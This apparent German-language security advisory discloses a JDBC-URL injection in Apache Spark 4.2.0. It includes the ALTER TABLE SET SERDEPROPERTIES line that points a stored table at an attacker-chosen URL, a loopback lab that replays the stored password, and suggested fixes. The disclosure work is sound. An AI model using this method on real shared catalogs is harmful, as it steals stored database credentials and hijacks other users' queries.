
Apache Spark 4.2.0 – Hoch – Remote – JDBC-URL-Injection – ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Klasse: JDBC-URL-Injection Reichweite: Remote
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 hat verhindert, dass zusätzliche Optionen zur Scan-Zeit eine gespeicherte JDBC-url überschreiben. ALTER TABLE SET SERDEPROPERTIES wird weiterhin in storage.properties eingefügt, was die JDBC-Scan-Options-Map ist. Gespeicherte user / password sind keine Spark-JDBC-Optionsnamen, daher werden sie an die neue URL weitergegeben.
Ein SQL-Benutzer eines gemeinsam genutzten Katalogs kann eine vom Betreiber bereitgestellte USING jdbc-Tabelle umleiten und das gespeicherte Datenbankpasswort an einen von ihm gewählten Host wiedergeben.
| ID | noch keine CVE |
| Klasse | JDBC-URL-Injection / Wiederverwendung gespeicherter Anmeldedaten (Überbleibsel von SPARK-31710) |
| Reichweite | Remote (Connect oder Hive Thrift SQL auf einem gemeinsam genutzten Katalog) |
| CWE | CWE-15, CWE-522 |
| CVSS | Hoch: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Produkt | Apache Spark |
| Betroffen | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC-Tabellen |
| Auth | SQL-Benutzer eines gemeinsam genutzten Katalogs (kein Job-Submit-JAR) |
| Lizenz | GNU Affero GPL v3.0 |
| Lab | nur 127.0.0.1:18960 |
Eine Connect-gRPC-SQL-Sitzung oder Hive-Thrift-SQL-Sitzung auf einem gemeinsam genutzten externalCatalog, der bereits eine persistente USING jdbc-Tabelle mit gespeicherten Anmeldedaten enthält. Kein Job-Submitter. Nicht die Sitzung, die die ursprüngliche URL benannt hat.
| Methode | Senke | Berechtigung |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') dann REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties dann JDBC Driver.connect(url, properties) | Integrität: Umleitung der bereitgestellten Tabelle auf einen Angreifer-Listener. Im Lab nachgewiesen (connect=yes). Vertraulichkeit: Wiedergabe der gespeicherten DB-user / password beim PostgreSQL-Startup und bei Klartext-Authentifizierung. Im Lab nachgewiesen (user-replay=true password-replay=true). Recon des Geheimnisses via SHOW CREATE ist geschlossen (redigiert). |
Gleiches Persistieren, späteres SELECT eines anderen Mandanten auf t | Zeile des gemeinsam genutzten Katalogs | Integrität, abgeleitet: Abfragen anderer Sitzungen gegen t treffen nun die neue URL (falsche DB, vom Angreifer kontrollierte Zeilen). Verfügbarkeit, abgeleitet: ursprüngliche DB ist nicht erreichbar, bis ein Administrator das Serde zurücksetzt. Außerhalb der Messlatte für DoS. |
Zusätzliche Serde-Schlüssel (sessionInitStatement, prepareQuery, driver) | Scan-Optionen auf übrig gebliebenem user / password | Integrität, abgeleitet: zusätzliche Statements oder ein Classpath-Driver-No-Arg-Konstruktor. Nicht ohne Default-Classpath-Gadget zu RCE aufblähen. Nicht ausgeführt. |
ALTER TABLE SET TBLPROPERTIES | nur CatalogTable.properties | Für diesen Durchlauf geschlossen. Im Lab nachgewiesen (Storage-url unverändert, kein Oracle-Treffer). |
Kollision der zusätzlichen Scan-Zeit-Option url | SPARK-31710 generateDatasourceOptions | Geschlossen. Im Lab nachgewiesen (extra-options-clash abgelehnt). |
spark.read.format("jdbc").option("url", ...) von derselben Sitzung benannt | beabsichtigte Data-Plane | VERWORFEN. Vom Eigentümer kontrollierte URL ist nicht dieses Überbleibsel. |
SET SERDE '<class>' auf einer Datasource-Tabelle | Klassenname | Geschlossen (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Nicht ausgeführt. |
Angrenzend geschlossen: von der Sitzung benannte JDBC- / Dateipfade. Kollisionsprüfung von spark.sql.legacy.extraOptionsBehavior. OSS Spark hat keine Unity externalOptionsAllowList. CREATE TABLE-URL ist vom Eigentümer kontrolliert (nicht dieses Überbleibsel). JDBC-URL-Log-Redaktion ist bedingungslos. Dateitabellen-path liegt in locationUri. JDBCTableCatalog-Verbindungen stammen aus der Sitzungskatalog-Konfiguration (gleiche Data-Plane wie die Wahl einer URL). Einzelbenutzer-pyspark ohne gemeinsam genutzten Katalog liegt außerhalb des Modells.
Ich habe Spark 4.2.0 gepinnt, nicht master und nicht ein 4.3 RC. Job-Submit auf einem offenen Cluster ist beabsichtigt. Die interessanten Überbleibsel liegen neben benannten Fixes. SPARK-31710 / generateDatasourceOptions lehnt eine andere Scan-Zeit-url für einen bestehenden Serde-Schlüssel ab. SET TBLPROPERTIES schreibt nur table.properties. Datasource-Tabellen erlauben weiterhin SET SERDEPROPERTIES und fügen in storage.properties ein (++, spätere Schlüssel gewinnen). user und password gelangen nie in jdbcOptionNames, daher übergibt asConnectionProperties sie an Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redigiert password. Der SQL-Benutzer kann das Geheimnis nicht zurücklesen. Er kann es trotzdem weiterverwenden.
Bereits festgehaltene Irrwege: die CREATE TABLE-URL als den Bug zu behandeln; die Extra-Options-Kollision erneut zu melden; zu erwarten, dass SET TBLPROPERTIES den Storage verschiebt; zu behaupten, SHOW CREATE leakt das Passwort; einen vollständigen Cluster laufen zu lassen, wenn das zitierte Scala ein Gadget ist; eine Reverse Shell. Das Oracle ist ein PostgreSQL-Startup plus Klartext-Authentifizierung auf Loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 ist ein PostgreSQL-Protokoll-Listener. HTTP-Health ist 127.0.0.1:18961. Der Gadget-Container ist Temurin 21 plus libpostgresql-jdbc-java. Gespeicherte URL ist jdbc:postgresql://127.0.0.1:1/provisioned (Verbindung abgelehnt). Angriffs-URL ist jdbc:postgresql://oracle:18960/stolen. Gespeicherter Benutzer spark_jdbc. Gespeichertes Passwort stored-secret-SPARK-JDBC-SERDE-URL. Binde es an Loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Lehne SET SERDEPROPERTIES-Schlüssel ab, die mit gespeicherter JDBC-url / user / password kollidieren, dieselbe Prüfung, die generateDatasourceOptions bereits für Scan-Zeit-Extras ausführt. Oder verwerfe gespeicherte user / password, wenn sich url ändert. Oder behandle Datasource-JDBC-Serde als Tabelleneigenschaften, nicht als Storage. Bis dahin gewähre nicht vertrauenswürdigem SQL kein ALTER TABLE auf einer persistenten USING jdbc-Tabelle, die ein Passwort speichert.